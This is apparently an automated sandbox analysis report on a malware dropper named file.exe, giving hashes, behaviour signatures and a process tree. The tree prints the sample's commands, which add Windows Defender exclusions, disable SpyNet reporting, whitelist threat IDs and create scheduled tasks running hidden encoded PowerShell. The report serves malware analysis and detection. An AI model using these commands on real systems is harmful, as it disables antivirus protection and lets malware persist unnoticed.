Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    125s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/02/2023, 08:05

General

  • Target

    file.exe

  • Size

    7.3MB

  • MD5

    962ed92736c8a44686c80da6596db83d

  • SHA1

    d6563904cf4bcded4d3e79d1af96a4e572bd9de6

  • SHA256

    3e49e1d536eaeffd4e4c87e511b660a28d212de4d712776fda5fd5f82bb3f257

  • SHA512

    cb0ac3c73739bde4d423bfa9354309a5bd3cde1692d07eb5c9b414c6c11bfa4178d903aef3c6e5f0d694d30d3695084ddda519ca5efbd190e9e6186f59f0314f

  • SSDEEP

    196608:91O/Q3n/8JkrwQYt8d/5GVFr5P8X8HiZLZB1S7fXUZ+af/+U0E6010:3O/yn/8Jkr9Ytk/kdP8M8Uz8+S/+UZ8

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Users\Admin\AppData\Local\Temp\7zS6825.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:972
      • C:\Users\Admin\AppData\Local\Temp\7zS6AC5.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:5116
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2576
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1044
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:1536
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:208
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2716
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4252
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:316
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:2256
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gawsKCgqL" /SC once /ST 08:21:24 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:4016
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gawsKCgqL"
                  4⤵
                    PID:3780
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gawsKCgqL"
                    4⤵
                      PID:1464
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bsXFoBxfaHoLLxRHnd" /SC once /ST 09:07:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\quLMhfgDmsebJteXn\qpzzvTdnDigAAZI\EpgrepV.exe\" Y9 /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:2184
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4944
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:1032
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                  1⤵
                    PID:3104
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:3728
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:2612
                      • C:\Users\Admin\AppData\Local\Temp\quLMhfgDmsebJteXn\qpzzvTdnDigAAZI\EpgrepV.exe
                        C:\Users\Admin\AppData\Local\Temp\quLMhfgDmsebJteXn\qpzzvTdnDigAAZI\EpgrepV.exe Y9 /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:2516
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:3680
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4956
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:3192
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:5060
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:1756
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:4764
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:1332
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:3044
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:3200
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:1828
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:3688
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:4052
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:2004
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:2812
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:540
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:1100
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3676
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:4016
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4704
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4748
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:3424
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:3808
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:3992
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:5100
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:772
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:956
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IwGFDhhTU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IwGFDhhTU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MLrIJeslOBZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\MLrIJeslOBZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dMFexHHRtytWC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dMFexHHRtytWC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fIARWfhFKZMqBRuZLOR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fIARWfhFKZMqBRuZLOR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tmuWEvHsDLUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tmuWEvHsDLUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\LtFzXrdCXcavHaVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\LtFzXrdCXcavHaVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\quLMhfgDmsebJteXn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\quLMhfgDmsebJteXn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\KgqoRVUGdWyiycxE\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\KgqoRVUGdWyiycxE\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:2960
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IwGFDhhTU" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:2688
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IwGFDhhTU" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:4648
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IwGFDhhTU" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:4752
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MLrIJeslOBZU2" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:1324
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MLrIJeslOBZU2" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:4740
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dMFexHHRtytWC" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:4736
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dMFexHHRtytWC" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:4516
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fIARWfhFKZMqBRuZLOR" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:4308
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fIARWfhFKZMqBRuZLOR" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:3956
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tmuWEvHsDLUn" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:3416
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tmuWEvHsDLUn" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:2544
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\LtFzXrdCXcavHaVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:1248
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\LtFzXrdCXcavHaVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3960
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\quLMhfgDmsebJteXn /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:1392
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\quLMhfgDmsebJteXn /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:4996
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\KgqoRVUGdWyiycxE /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:1960
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\KgqoRVUGdWyiycxE /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:2660
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "gAErtQzMH" /SC once /ST 07:27:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:4792
